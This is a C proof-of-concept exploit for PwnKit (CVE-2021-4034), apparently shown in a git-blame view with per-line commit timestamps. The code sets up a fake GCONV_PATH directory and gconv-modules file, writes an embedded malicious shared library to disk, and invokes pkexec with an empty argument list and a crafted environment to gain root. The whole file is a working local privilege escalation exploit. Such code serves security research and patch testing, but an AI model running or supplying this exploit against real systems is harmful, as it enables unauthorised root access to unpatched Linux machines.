2022-01-26 01:09:51 +00:00
|
|
|
|
/*
|
|
|
|
|
|
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
|
|
|
|
|
|
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
|
|
|
|
|
|
*/
|
2022-01-26 00:59:53 +00:00
|
|
|
|
#include <stdio.h>
|
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
|
|
#include <unistd.h>
|
|
|
|
|
|
|
2022-01-27 17:33:51 +00:00
|
|
|
|
#include "pwnkit.so.inc"
|
2022-01-26 00:59:53 +00:00
|
|
|
|
|
|
|
|
|
|
int main(int argc, char *argv[]) {
|
|
|
|
|
|
FILE *fp;
|
|
|
|
|
|
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
|
|
|
|
|
|
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
|
2022-01-27 17:33:51 +00:00
|
|
|
|
fp = fopen("pwnkit/pwnkit.so", "w+");
|
|
|
|
|
|
if (!fp) exit(-1);
|
|
|
|
|
|
fwrite(pwnkit_so, pwnkit_so_len, 1, fp);
|
2022-01-26 00:59:53 +00:00
|
|
|
|
fclose(fp);
|
|
|
|
|
|
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
|
|
|
|
|
|
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
|
|
|
|
|
|
}
|
